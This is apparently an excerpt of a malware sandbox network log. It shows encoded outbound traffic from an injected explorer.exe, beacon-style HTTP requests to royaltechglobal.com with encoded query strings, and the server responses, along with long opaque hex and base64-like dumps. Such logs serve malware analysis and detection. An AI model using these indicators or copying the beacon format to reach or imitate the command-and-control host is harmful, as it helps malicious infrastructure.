r4txB=cCD7hmI-Mx(giWHf4G20pVah(zvDDh9nhvrEoXgM5Hm4hiBd9ZRTa5hyJ-3q~eEZXoOTJDQcb_I5t2zm(QILyaaAHWohosgEIp9OrJ98HD1Glg2qpeEeHlyY6Bn3m2O0DPQnk6MlgSAEvvb7adbT0zm5RierNdNkp4DRatEyOQq8JOmWCt~XRYeM342IuPE6DGXEDaMMc-6ptJ~cotQsx-uKvdeceOmC2aXiyvHT~Nd3SzF19v7ydd(PmIZnxncgRbxQ4WsLJlaz0tiPuSP-CQ~c(1vHwkk2RwfngTTe7EfqWjcFsjiAQk4HvN(S7Df26JDGjNoyJbZl78gzLcLBqbQzDfCd~z2PWbH3r_y-JTFKNu8PIn8Ir0JbwZ2QOnBJIhzwfi7U~duPOCzO9CEIF04bcIPeQWwKTbNfZE8JrxjrLHf5BOKUrzE0j6kLzdTjQSrrzQMIbkIwaXvwh3W63MvVpZQoPVFWjTB8H_JJHXmpeGjW5m1NAuiBMNkbD3qiD4UyBrbV8e6kUaI07GhaFXKoIHWrXD7bTneWT4BvfWFvyBusPMdtWSDB8lH2VFlt~gBuYpnSzFrhG8vCTr6Pf3v6J0v9iA279o3VWTNOdrjC4rdmUG08MYKvsuQHn0t95-E8WQEZZ9kHEoAnVhTsVniR77rEXBEVJRevRcL3XaX19J9N6SNOtj8hq-O8ZdmH8LyYKswvJParFsEPod7DqlXs6nM89wEJbj66wBa3IL7s54Kfq6Ki12s7c1tUsQQLHLNq6gzaCLfU9mNEuERUZZNP0v6s2PCFQUYAcl6NXejAKg4ruBc4PQ(76EYRA9Ve6f4XIJtVH4zoU7aI(9vM(94rq-IperBmPz1MKeTgqhbvUd18KFqyNRdQFjvPNzGVD262E0Hz2ZuI0C7dcAKIxh0V0SUwlXxM6Blu3HJQ~3qvrFJ2PsOQKVKE8Ti3WbFHt9XRz-93y-lnuF0NcdTdGlNxUZ2IvXtfOX(M(bpafv259dWyNEpbhwchT_(tCrJ5gD6GB7gLD-O_sLr7eO9CVRZ76LigR1FCOSYVHquYT8XZ29BrBXGBJ040HGwKj_GREkpcZS(VonzfoN9U~jyooBb_TjJgcwbw0zchzZsAset-q4Yy~3eArHkVQvjeELvOqhGLjKPEL5s7g0Gom-QMfDP8AQmgsKfQo62ehv~uVCzwXUbhjxihjgnoZXO1y1jCJCMFZUzqR9qoOB72SYNbmiGV83z6CRHnbXNGQTN7OHvjpX1Uav01H0Ud(Mwnvn9G0EWmd3G53YDPAc4QsJO40UHEwiSVCD7haBwvNp6E1XInqsr6PjaDiaYVoKuqyw9P~c1zn7Ji1JFuXIxkCnk1E9qSQU5c911oQ_RtGZge4UnWli~FUKNzEj38xueZnPN_iqr3ABEfQVVDSkosJTWILNFxdELG9NuObvpLBRKHsit8H9iI2iRPkNmScMT-O_WiE-RSLn35c0hc2-g5AdLPYszRMIMYOQn6lLysCm~qKKf_iwYCIDBNb9ONSoweWeiMgfExifGxRJNUKvhtU3qad1LgygiIJP~bLe00q6fWcAAxffaByh2NftaIIwO3l78rAznFtAiz24s-GerDpIvDViAMfOlrXw4mBZ8J(36E16~chqXZCLXc9exgYPxAac1qX3eNbPN02L0WGSUxJZSLUNVTVaenttuxzp~Xb9Nph6zy0av9EtwvF8nB8-mstN4WXYzknH21WjIpxrqihLhMcG3-6owcWuGFp7KzIVfheGjFWfaP~KGR4fvJ(xf9UzrJ2W(1PMv5Tle9eOHnh0ff7Ban(p3bAC~oNcU3p_Cv2w9lqElV(_4pfJlSe-qY7HSJbxEL3pFe4j1rVIwZutC6KKMcA5PGsf743_cywZZU2h~rQrqlqOjFDHi2uezk2w0T8ejeHiJyh88keJV0NulXIR7mXv7R68Gl246kaFy3Clf8M3VB5wqWAkWXuuzsQSpwxLOe7AdCJ-0Dx3FdHNsa1zpnBEKUy4SzW19vH7zHB5QUiH~fgzfWflgKjxxLlW6i42VXoF0mp2UHp6wOflIVpX0FYxk1bLXF~NVj(cX_oc32WwUr1VLb6OGOdvD4oxYHTWKYFEZvyC8F9gcVhh0ol_OlGZT1uy62TzUM4rWuA-KNm43qgCXlfN8RaztLThpXWA806o6NdwRTFX6WgzNMAoXACI~emCUDojGSeL3XyK97UD4-RxrsOJQABWuhabl37ZsLvnGin10LlrcvD9GW8IQ4A14Z1PeG76aSy8uDw5XodYaepbhfCMk_~nmDVE~AqqXNgXp60Ukwhxy1bdMnRjvw3uH_Kb(JRadaGh9nCHlA4nTJ5cA-zkTe6HqNSU4kF1f2p_E3vwRdFws37lmxXDmyDH7a(e0F7Vl5t5PS1GrD8m9QUwoun5IE4ID3KprR7TDq(UGIo-0WIqWKXVKwII89Dw924G~qA32QfCzRzra2dUkWYgGErwC_C5j8HNAWQjU-M6ONR_m-2JAiit0NU1zazbvsvczn6Hw7u1(mm_M_tMJvbmcrBA5uVs0Amxip~fSFtZ74PHomX4ueC2un(F1A4PvYQwD8xEBA8Xu_K4OPAOSPbwBi2-qp6mYa(i1QSqbJhxECDtsIJgVSVcm5sYxkXhGy4FrxF2fOzpInUV0zl6B-DF5DMV9lFJnsu0QnkCAc1It2syNGDQUcFm~sJ1UYswHrnHwSEf1lundys3siJI136-YBAx0hneHUGow7kRzXCFEjfsnYyZlwCAh7vb(epivaRIP5Mxf3(rJTtUS9ulw3l0~O6i(bOPGgg4Rwry9ixOLqOIu1pRl6CBUlJIUbgDIn7TI60FFjY9Yh~lOAIy42xSzRGpzExiUhKWmUg-XE6es8kHlYOLHP8cKF6TDXIRwu9xg_aKVoPFOsZdXUabi-HhLQTvcLFTDCDc95vXc9vTGt(zDHblvl0E5Xs2a0INHu94tAe788xTrBW35HsNBaU5AgPc8ybio8K62UYqUzuspuObO4qXGOe9omjektJpyvDEvFDCTnodEQoM(sLT87Z-3C4aMoO6yxauhiZP8fLiengjGcZIcLxGAU5GUaCbf-u0~9tTzrY6pIVygsDSINzH8Y0MxL0R70Ao2Qzdo0eSEDfgA7z0LtHZS5q93N1lA7duty8RuzEmTqCMfcYdiAdzUVfUhgpFWTbLeE(sz_FfQo0qwYpvb3Yi0ruRepdiUnTIWjgD9DxwrtdgoiwSEeCK5EDZME7ST7jJ0lGOD6fr3yUP4YTjblSQ~XuVzyq4m3mOk0Cxy-4YNV52yD7N9tpIWRjxifUYR-LFSv5cy7MnTOWErUkTXHHqR14XJFFxsntdMI2NgHBpr3(cj73-zUMDCd9-I_Tza7cIkXlpdwUQHziDwgbDykjIl6N72KTEp66UfyLO(z7BPhoy(-(1OCWGQwGZx6PPXaA1(WmHmZPR3SDDg75xVRlbJYQLNEnKgjwHQrlZF2iAeLoUQ6Hww0ViI1buMT9NDCP_MouFBrts801JRT7nzjY5sPoAJArqBZ(o6nbjKqdto31XSVi7LpQFNW(uzk3UlSHUrDIakW4v84kSSqvzXXBDDdvwDVCAIwB9A5A-C4Oye6sAiHdJVb4TZVVLHP5cYHAOX-HHrb9gj72gHUQbQViOuQKF1dg3T_65x5jDtmvQSYBUz5h71V3kV68ZCfk1cwjfGtizaicl93Mw0aK6Rm1CmKz9cLXaQqRayxY7GJQDYt9cGHlbjS3HB5JZuWNyRQgWuzwTLzxrLjrkjqvygNjuUnDSbUHV9yNbn64O54fBHHEkJAfx8pXdIdkGXLPnrZNHO_fZw3zRnYEBNA~yOJVTtVFd(mfFH3oHgZA1rRZnbw4tKvqi0ntrukBtg7xauViwo2KhzS8R5EbrOYKlIymKdcbcvp8COnthCgo3T72p3ynLRoieD3AOueRqDok7tiMj9ujvzGltXRbGGcOgx5Ghr5(MaMTL6JKoiTvhAHBwRm2dhvY95fLa2n3inPW69foYRQP-QIt_LMCi2Dlr2GQmbwPm~NFm9NOt9QwcgbXnSdOK18CIeo
Nov 21, 2022 19:24:05.414644957 CET	1724	OUT	Data Raw: 72 58 73 64 32 32 64 28 6f 35 48 57 71 42 6c 36 63 79 50 4c 47 6e 31 45 55 63 7a 39 5f 4e 57 57 70 4d 76 74 5f 30 68 63 47 6f 45 4e 62 71 71 74 59 5a 5f 61 5a 28 52 53 6b 79 7a 62 6b 42 6d 6d 33 6d 67 57 65 31 7a 63 6c 36 51 50 59 61 30 42 6b 65 Data Ascii: rXsd22d(o5HWqBl6cyPLGn1EUcz9_NWWpMvt_0hcGoENbqqtYZ_aZ(RSkyzbkBmm3mgWe1zcl6QPYa0BkeV8VMqP5jgYApgpl4DRKGlhnM9jIJTRudcUpj_F-TjzZIIAkI35Ljgo9qESsNHfh6041fKFpo0zjOBUxCjiYd_6-ri3MFDiUkEiCpYouEJMFb6fNtfye8PqKFtrWkSMa4U5Zxhta0FLuFjwgOE7APsL-lAy153xAMk
Nov 21, 2022 19:24:05.414724112 CET	1725	OUT	Data Raw: 50 36 6e 38 6a 42 74 6b 31 49 46 6e 78 66 42 77 68 4c 38 57 61 49 70 6e 50 44 79 6c 4e 30 4b 70 46 4a 64 72 44 78 57 30 4c 58 58 52 73 6f 6f 43 38 73 33 62 69 52 72 62 54 47 51 48 4b 4a 50 59 79 77 79 61 41 36 38 7a 6a 65 76 4d 58 30 6b 34 5f 33 Data Ascii: P6n8jBtk1IFnxfBwhL8WaIpnPDylN0KpFJdrDxW0LXXRsooC8s3biRrbTGQHKJPYywyaA68zjevMX0k4_3l0N1IMZXfuix5d2(dQGWRcRvAqW0IAcRGZGfA~h0_mWbEZQJBpb07Sg7qw1ndeRJ5SekGeBdXQ8NbU-DYRECciLLeNba00Gi5R8UYzsjyoVzVpBWLSStRPC2ZPf~VncmKXjl3om0FsjIt6KzJ6aayU_i8OkBzz7jK
Nov 21, 2022 19:24:05.531436920 CET	1728	OUT	Data Raw: 36 4f 59 4b 57 32 6c 59 2d 76 50 42 2d 38 76 79 71 46 75 28 6c 50 38 28 5a 74 70 45 6e 7a 74 4a 53 35 46 6c 56 7a 73 78 49 71 4f 65 49 32 36 69 34 46 67 38 50 77 7a 77 6c 6f 6f 48 4b 38 46 74 48 30 71 4f 59 76 7a 72 44 77 74 31 6c 77 31 46 67 59 Data Ascii: 6OYKW2lY-vPB-8vyqFu(lP8(ZtpEnztJS5FlVzsxIqOeI26i4Fg8PwzwlooHK8FtH0qOYvzrDwt1lw1FgYh~RkFKyWjWVtbar53SLTWgsl5fUmWOS~pVSJC5yXj~z9m(5sHZXhB8M8vnV6JlTvGx343Oll3hidVSUikl9jyrENFo3ZFbJ6vj0Munk23rw6YPzMG40(QuKR7AgJUJYkMEFExMpvpujrI4-gtypeax-Tcx047Sc~Z
Nov 21, 2022 19:24:05.531593084 CET	1736	OUT	Data Raw: 43 61 59 51 68 70 4f 28 54 32 74 56 51 56 61 6e 4b 33 48 6f 78 68 59 66 62 34 74 5a 78 69 4f 61 56 43 6f 68 6b 51 79 56 2d 51 5f 46 61 37 79 57 6f 55 4d 54 6c 51 4c 4d 61 65 6e 54 35 72 57 32 42 48 64 7e 69 67 34 33 47 67 49 4d 37 52 42 34 46 62 Data Ascii: CaYQhpO(T2tVQVanK3HoxhYfb4tZxiOaVCohkQyV-Q_Fa7yWoUMTlQLMaenT5rW2BHd~ig43GgIM7RB4FbeWbo7ZXim~_a8O6JdFevwt-0YLB5gHBbM51mvAJ4KFV9mqVbbjcTUdv6bXJi2pRzt8yDz9boeKQ2DgLccGFjnGt~AxcwuMju6VEjnh8Cu9QrSW_~cVnLGz-pjvrgluitrNcNi3iTExT9GMwIOfiNLzufmpHQrrRRt
Nov 21, 2022 19:24:05.531759977 CET	1738	OUT	Data Raw: 35 5a 63 52 35 32 71 6a 33 76 69 4f 49 79 76 58 6f 56 6b 50 4a 28 4b 66 65 54 47 67 55 68 6e 75 57 52 6c 7e 39 73 6a 6a 6a 69 66 50 70 4f 4a 46 74 28 4c 61 4f 38 4e 49 54 65 4c 48 62 72 4a 58 61 72 33 58 57 33 37 79 55 43 48 78 42 55 35 48 50 6f Data Ascii: 5ZcR52qj3viOIyvXoVkPJ(KfeTGgUhnuWRl~9sjjjifPpOJFt(LaO8NITeLHbrJXar3XW37yUCHxBU5HPosNb0dG39x5QFDuz4kJ4Jla0AFR4(MlT85yrGiLRZIXvvagm6PgS6FjXe43ReSEfFuGhOoPnHZLw(8lODtP4tlOeuLkJoU~nfHy3VrPpYDOcgjfx28~gE7Jel_PdD3brmqxeHmEE9SxpshIpUAHiDkgj9i438Wuymd
Nov 21, 2022 19:24:05.531944036 CET	1751	OUT	Data Raw: 38 56 66 47 79 33 38 7e 48 72 71 31 67 55 6b 55 79 6b 4a 55 48 4a 78 6a 72 42 73 4f 52 57 48 65 70 4f 59 4f 62 6a 49 34 41 31 4e 35 45 47 59 67 63 55 5a 6b 6a 28 5f 65 37 74 37 4e 44 51 33 44 38 73 53 41 54 68 47 48 53 38 6a 59 54 57 4c 76 5f 41 Data Ascii: 8VfGy38~Hrq1gUkUykJUHJxjrBsORWHepOYObjI4A1N5EGYgcUZkj(_e7t7NDQ3D8sSAThGHS8jYTWLv_AdY_xgSIDq(R8X85u-OIx2R68zmj0ZJjD8zDgrpTpJ9oCFDlNBKbcmhpcALcXoJl9JkxE0070CYXkctf4x8cJh2MN1IoX6bsl3Lehsmu2xVvVY0yqpvmNZNtMQX2Nizvyp3zkgFxqmyyJW4Lv9grI8WA73H_y8XhaT
Nov 21, 2022 19:24:05.652458906 CET	1754	OUT	Data Raw: 64 57 6b 4f 34 6a 44 35 49 77 42 33 6c 32 54 71 49 51 46 66 43 56 64 6a 43 66 46 61 31 4e 49 7e 78 59 36 4e 56 42 65 32 38 4c 54 4e 70 44 4b 7a 53 4f 74 52 6b 4c 76 51 44 54 77 62 79 38 52 33 4c 64 6b 6b 62 65 69 50 78 28 68 48 50 76 75 54 59 63 Data Ascii: dWkO4jD5IwB3l2TqIQFfCVdjCfFa1NI~xY6NVBe28LTNpDKzSOtRkLvQDTwby8R3LdkkbeiPx(hHPvuTYcqmtcMW58ppTX3mdAavYFi2_~oSqDZ4dM2LuVyorx96pi6jM5HAcJJzmhxTnHO(TPU(bWQMBDxjBG1oy5VLhf3OEOqY_OeWXzyM7QmOdyc30occgxZ01YAvPXkCYFe1hZ29q7KFjcQupsSObyll6fZlJ0C~gMlP23_
Nov 21, 2022 19:24:05.652627945 CET	1763	OUT	Data Raw: 62 33 58 44 78 33 4c 35 59 38 45 79 46 36 34 61 6f 73 6d 66 75 62 5f 6c 6d 70 46 58 2d 56 36 66 36 35 46 4e 75 79 4d 6b 6c 70 55 4d 39 44 44 38 4e 34 61 76 69 6f 7a 53 52 59 35 46 32 52 78 73 70 30 55 62 44 35 62 61 69 45 42 64 65 41 41 42 72 74 Data Ascii: b3XDx3L5Y8EyF64aosmfub_lmpFX-V6f65FNuyMklpUM9DD8N4aviozSRY5F2Rxsp0UbD5baiEBdeAABrt6UldsQCtcPqr6UB0ZLY1TuOw41E8hY8BrMysvjLG3c-Iqe-peJezWdVCULwUrW2rA7ucx0ZSopkRJtrl9cJzeYjdinn3mywyU(g6sZGKfAT4Z7WXuJzG-ROaylGNs04B8OV7YgUf7(e~Bnpn2n-jgm9pTNmEZhIJQ
Nov 21, 2022 19:24:05.652790070 CET	1765	OUT	Data Raw: 6e 78 58 37 37 30 6c 52 4a 34 48 32 43 74 30 42 47 45 68 50 64 63 57 68 47 77 43 56 4a 6d 71 6b 39 52 79 35 33 38 56 69 33 44 57 49 32 65 65 76 30 69 44 32 62 53 6f 35 77 76 52 58 58 74 31 42 71 75 5a 48 57 71 43 65 63 33 39 35 30 4e 58 50 4b 78 Data Ascii: nxX770lRJ4H2Ct0BGEhPdcWhGwCVJmqk9Ry538Vi3DWI2eev0iD2bSo5wvRXXt1BquZHWqCec3950NXPKxNI8phhthVK3WquCPPFhVSbQzEG-VZKYBa(zCi5q5X(q92s-HPu0bDWI~UOcaoNMbSpJMA75K7zMVhL9wBiQ6znFKZk5TVPXM1zVpzQH8fgg7Dy3bA5jRSICI2t1wQHREEYH5Ct6jTTexal-3wnDO94lJW8lUZ40RR
Nov 21, 2022 19:24:05.931422949 CET	1767	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:24:05 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://royaltechglobal.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade Vary: Accept-Encoding Content-Encoding: gzip X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress Content-Length: 13045 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 72 6b 73 db c6 b2 ed 67 a9 ea fe 87 31 5c 89 a4 2d 02 20 f8 d0 83 22 99 63 2b ce e3 1c 3b ce b1 9c 9d bb 4f 9c 52 0d 80 26 30 d6 60 06 99 19 90 62 74 f4 df 6f 0f 00 be 24 8a a2 5f 3b 55 77 6f da 22 67 7a ba 57 af 5e bd fa 4f be 7d 7d fe f6 1f 3f bf 20 a9 c9 f8 70 77 b7 6f 7f 49 cc d4 c0 e1 46 39 84 53 91 0c 1c 10 ee 2f 17 ce ee 4e ae 60 c4 ae 07 8e 4c 7a 58 60 72 dd f3 7d 99 e4 5e 06 be d0 4f 1d 82 00 3b fd 14 68 3c dc dd 21 64 a7 9f 81 a1 24 4a a9 d2 60 06 ce 2f 6f bf 73 4f 9c e5 27 41 33 18 38 63 06 93 5c 2a e3 90 48 0a 03 02 53 27 2c 36 e9 20 86 31 8b c0 2d 2f 75 dd ee ce 4e ff 89 eb 92 67 9c 13 26 c8 6b 01 e4 e2 c5 6b d2 f1 5a de b1 17 10 97 50 26 35 48 2f 92 19 71 dd a1 4d 5f ea a4 64 28 8d 5e ea 23 24 13 31 5c 3b c4 bf 9b 9a 80 00 45 8d 54 4b d9 77 9a ee 3f fb f1 35 fe 1e cc bb cf 60 74 a4 58 6e 88 99 e6 08 44 f3 9c b3 88 1a 26 85 cf e3 c3 f7 5a 0a 84 e4 54 6b 7c 2b c9 ba 3a 4a 21 a3 76 c2 9d 9d 1b e7 3f ca 7e d7 c6 e9 39 95 c6 ef fc 77 7e 95 e2 49 95 38 0d e7 3f 12 45 f3 d4 e9 fd 86 c9 b6 09 66 3e 57 a8 7a a4 8a 2c 7c c9 b4 b1 39 2c 5e 01 50 72 4a b9 81 28 4d b8 0c 29 b7 02 bd f3 c5 1f 69 f4 ce 7f 1a ce 8b 79 55 cc 0c 64 16 e7 05 87 0c 27 5f e9 64 e3 3f e2 fb b6 3d 9e f2 45 41 2e 35 b3 42 38 bd a0 6a e2 f4 16 c0 bf 42 f8 33 4d 60 5b 5c cc b3 9b c2 c4 1f 64 66 ab 0a c5 b7 a8 ba c5 32 14 b7 24 b4 ad 3e f3 09 6e 1b 1f af c3 5d ac 65 35 5a 9f ac 46 85 be d0 e4 27 69 c8 77 b2 10 f1 b6 c2 d4 00 28 4f ae 60 cc 64 a1 b7 93 68 49 9c df 97 e5 79 ad 12 2a d8 9f a5 ef b7 b6 8a 5c 2d aa 67 79 63 73 c9 5b 4c 26 df 97 d9 5b 2f bb e1 70 99 c8 65 59 7f cc 50 d4 d7 e1 7b 88 cc b6 28 93 dc 8d a4 30 20 cc 3b bf c8 b9 a4 b1 7e e7 b7 9a ad d6 3b 3f 08 de f9 91 92 79 0e b1 fb 12 3b bd a2 57 ca 0d bc 5c 24 1f 35 b2 85 c0 c2 09 8b 4d 8a a6 e8 34 1b 4e 0a 2c 49 8d d3 eb b4 71 33 cc 92 2f a7 f9 38 e8 db e5 05 7d 94 c1 9e 4e 20 cc ab aa 0f 71 15 52 17 2f a9 48 8a 92 bf 03 c2 fd e5 c2 06 f5 cf 54 99 d7 a3 ed 47 c2 f6 9a 19 b0 36 0d 15 d0 38 52 45 16 6e 5d 5e cf b0 a8 b4 de bd a7 ca 85 6d b0 ed fa 66 84 b6 77 e4 06 53 af 15 29 2f 2c cd 14 d4 c7 2d 1e c7 fb fd 76 77 67 a7 ef eb 48 b1 dc 0c ed f9 89 eb 92 67 9c 13 26 c8 6b 01 e4 e2 c5 6b e2 ba c3 dd dd dd ea e9 6d ca 34 b1 63 11 fc 95 b9 61 19 fb 13 62 32 61 26 25 26 05 f2 0f 49 b5 29 ab 72 5e 24 08 32 0e 4e bd a0 49 5c 52 31 f3 fd a9 cd b0 6c fc 89 54 71 ae 40 6b bf ca d5 be 06 e9 97 ed 76 fa 86 19 0e 43 6b 43 22 a4 21 23 59 88 18 51 ee 69 d3 f7 ab 4c 2c c9 c0 50 92 2b 99 83 32 d3 81 23 93 1e 97 11 e5 e0 90 48 0a 03 Data Ascii: rksg1\- "c+;OR&0`bto$_;Uwo"gzW^O}}? pwoIF9S/N`LzX`r}^O;h<!d$J`/osO'A38c\HS',6 1-/uNg&kkZP&5H/qM_d(^#$1\;ETKw?5`tXnD&ZTk\|+:J!v?~9w~I8?Ef>Wz,\|9,^PrJ(M)iyUd'_d?=EA.5B8jB3M`[\df2$>n]e5ZF'iw(O`dhIy\-gycs[L&[/peYP{(0 ;~;?y;W\$5M4N,Iq3/8}N qR/HTG68REn]^mfwS)/,-vwgHg&kkm4cab2a&%&I)r^$2NI\R1lTq@kvCkC"!#YQiL,P+2#H
Nov 21, 2022 19:24:05.931551933 CET	1768	IN	Data Raw: c2 0c 50 b9 4b 54 8e f8 eb d3 4b a4 a5 ec c7 bb 3f 08 65 25 ba 2c f7 b9 80 7b a8 ba 52 9f 58 9b 0d 1c 9a e7 9c 45 e5 7e 7c 1e 1f be d7 b8 27 12 71 aa f5 c0 29 a5 73 75 94 42 46 dd 44 d1 3c 75 86 b8 f8 b2 c1 b5 99 6f df f7 ab 14 0f 97 6d dd 5a 65 Data Ascii: PKTK?e%,{RXE~\|'q)suBFD<uomZe~{:<MC5^dUQ,@f~h8LNx!,0ho!95oFTvb"t(@M]&.CS~s{a%IF.zy%W+6lcmre~=DV
Nov 21, 2022 19:24:05.931607008 CET	1769	IN	Data Raw: ef 07 bd 7d cc 30 86 46 69 99 b4 ef 48 51 3f 1f d8 de ab 2f 25 3b 6d a8 81 28 a5 22 01 a7 b1 44 de 89 64 96 73 30 e0 0c 06 03 5a 4d 72 61 73 ed 62 ee ce 75 70 d0 d8 07 2b bf 2c 54 04 ff fb bf 37 b7 07 5e 24 45 84 e9 d6 ba df 44 48 6b e9 7e d0 03 Data Ascii: }0FiHQ?/%;m("Dds0ZMrasbup+,T7^$EDHk~oLo{n'LreTd8A{uKg}_Gffi#.vu8L!7;19a30g;T1SH&]J&iz9"]
Nov 21, 2022 19:24:05.931660891 CET	1770	IN	Data Raw: 2c 70 7b 0c 52 1e 97 90 b6 2c ab 78 e3 20 e8 bb 69 af f6 40 59 f6 c8 2a 32 66 dc b0 40 96 62 59 cc 96 55 73 86 f6 28 8c 82 3f 0a a6 20 76 ad d3 d6 92 98 db e9 2c a7 71 cc 44 b2 f0 78 29 72 d3 6b 6f 5e 97 14 17 96 ab d6 0c 89 a6 c0 92 d4 94 10 1f Data Ascii: ,p{R,x i@Y2f@bYUs(? v,qDx)rko^iSD3(2,5=E4gr&P.a#Qc)Dq@b})99CD@{jTujCb6S=-9gHrzH`AuvuB6BDB=t6vtM/8()
Nov 21, 2022 19:24:05.931714058 CET	1772	IN	Data Raw: d7 3e d9 90 72 82 29 5d af 79 64 53 6e 7b 93 14 14 ec 7b 4c a3 10 53 59 18 77 c4 e1 fa e0 26 a1 b9 1d a8 6b 73 42 19 4f c9 4a 86 9c 90 21 f1 28 67 89 e0 30 32 37 18 a1 68 61 7b 3e cb 50 4f 26 5c 26 38 c3 b5 6b 43 15 be 34 ef 84 41 c4 38 ca a3 e0 Data Ascii: >r)]ydSn{{LSYw&ksBOJ!(g027ha{>PO&\&8kC4A8%Hk4@P7ue#0<aY.bl~~$6"IWj]/.Xmf!];aI{dLNrrpr28ppl`+Z6p}3GN{~\f =R
Nov 21, 2022 19:24:05.931766033 CET	1773	IN	Data Raw: ca ca 1f 3e a2 87 17 9c 86 87 af 45 75 e7 85 a2 75 31 5e 85 91 c2 fe aa 28 65 a8 91 d1 87 df d2 02 9d 0d 6a 16 1d 4b cc 0e ca 56 81 6d d5 3a 6f 95 97 56 75 69 97 97 76 75 59 62 d4 3a ef 96 97 6e 75 39 2a 2f 47 d5 e5 b8 bc 1c 57 97 93 f2 72 52 5d Data Ascii: >Euu1^(ejKVm:oVuivuYb:nu9*/GWrR]Ni=b\sKT[AP~NjD~i`Z3m0Xi?;T{F24~_PY<H@i{BSR.e/"rS^s)b0+Ja{?13_9HS->B%ic
Nov 21, 2022 19:24:05.931818008 CET	1774	IN	Data Raw: 5a ef 91 0c 62 46 07 7b 94 f3 3d e2 0f 77 fb 9c 89 2b 82 3b 19 ec 69 74 3a e8 14 c0 ec 11 16 0f f6 c6 13 37 a6 ea ca 0d b9 8c ae dc f2 d5 2d 21 52 05 a3 c1 5e 6a 4c de f3 7d 25 a7 94 1b 88 d2 84 cb 90 72 2f 92 99 3f c9 dd 48 0a 03 c2 f8 26 85 0c Data Ascii: ZbF{=w+;it:7-!R^jL}%r/?H&_cTk02KX/@7=R%`"W;,w\|CRm3/Y(J,z8Bp7&&?DG@*bwrTs9pvK)rk Jmd2x4
Nov 21, 2022 19:24:05.931870937 CET	1776	IN	Data Raw: e3 a3 ee e7 f7 b7 77 8c b8 9d e3 66 b7 ec d3 c6 8e ad 15 0e 4b 38 cf 36 e0 04 75 47 7f 8d 3a 73 c9 d0 34 40 98 68 0d 9c 0b 59 a8 08 be 57 34 4f 59 e4 10 99 83 a2 46 aa 81 c3 44 0d 53 8a 87 87 ca 32 d6 d6 c3 3e 7e 91 eb 8c 0b ec 97 1a 93 f7 7c 7f Data Ascii: wfK86uG:s4@hYW4OYFDS2>~\|2x'UM3<VC&,6iiX8QgD^Lqfs#rpPK^8#FGSgDA"jj23!*UbFlNmmi+;`
Nov 21, 2022 19:24:05.931924105 CET	1777	IN	Data Raw: f7 7c 5f c9 29 e5 06 a2 34 e1 32 a4 dc 8b 64 e6 0c 7f 90 19 f4 7d 8a 3b e0 6c b8 bb 86 d6 d1 e3 b4 72 a9 cd a5 3d dd 67 96 d3 64 39 8a 68 5b f1 f2 69 28 0b e3 16 da 77 86 cf ec 91 fc a2 37 b2 3c fe ac 2c 8f b7 64 19 49 61 68 54 f3 3c af 2e 8f 31 Data Ascii: \|_)42d};lr=gd9h[i(w7<,dIahT<.1=LOd1h</H^\|#2WlL)VpMJ"?WsX/8c63OTG7,oGA22:!AH!O.c.mtbD5Q4}636r\E"c6{h
Nov 21, 2022 19:24:05.931978941 CET	1778	IN	Data Raw: 3b b6 60 ff 59 f0 e9 a7 43 1d 55 50 02 3e 1d aa 6b a1 5e d1 cf 40 aa 53 8a 95 2b c6 3f 1d ab 5d b1 42 87 df c5 42 d7 f6 7d 5d fa 19 2f 7d 1d 29 96 1b 62 a6 39 1a dd c0 b5 f1 df d3 31 ad a2 ce 70 d7 ff 1b e9 3f f9 ed fc db 67 6f 9f fd 46 fe e6 ef Data Ascii: ;`YCUP>k^@S+?]BB}]/})b91p?goFYr3J2 0/8>q,6CvwfxDyJEyATs@'#^`lMC;Jl`B~}hCK1K0
Nov 21, 2022 19:24:06.047044992 CET	1779	IN	Data Raw: 2e 9f e5 67 a1 db 74 86 b8 83 52 f0 99 de 93 c9 c4 1b 4f d0 14 19 e8 52 ec ea e8 8f 14 80 1b 53 75 e5 4e a4 8a 73 05 5a bb e5 93 4f 0c 55 09 98 c1 de 65 c8 a9 b8 da 1b 7e 8b 59 e4 57 cc fa d9 66 91 b7 36 ab 54 ff f9 94 fc fd d7 f2 8a db c8 ef 73 Data Ascii: .gtRORSuNsZOUe~YWf6Tstq(6&#r)*%'.-s\|\@hk;c\| {X,;._~eGdrC4%cZE"LT.v1Q7>SE\P2 7f~Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.11.20	49893	192.185.32.157	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:24:07.554896116 CET	1780	OUT	GET /nqhc/?r4txB=RArbiR8kGTfwvUfF12jr2giE5B3dEAwcjM/WknZipSSonmN/xNtrcN1ZKvLPmagqEcu1BGBCcvtDrHnt/goojoamQzAeoLFDeA==&1b=S8jD HTTP/1.1 Host: www.royaltechglobal.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2022 19:24:07.793509960 CET	1780	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 21 Nov 2022 18:24:07 GMT Server: nginx/1.21.6 Content-Type: text/html; charset=UTF-8 Content-Length: 0 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://royaltechglobal.com/nqhc/?r4txB=RArbiR8kGTfwvUfF12jr2giE5B3dEAwcjM/WknZipSSonmN/xNtrcN1ZKvLPmagqEcu1BGBCcvtDrHnt/goojoamQzAeoLFDeA==&1b=S8jD X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress X-Server-Cache: true X-Proxy-Cache: MISS

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.11.20	49894	38.55.15.214	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
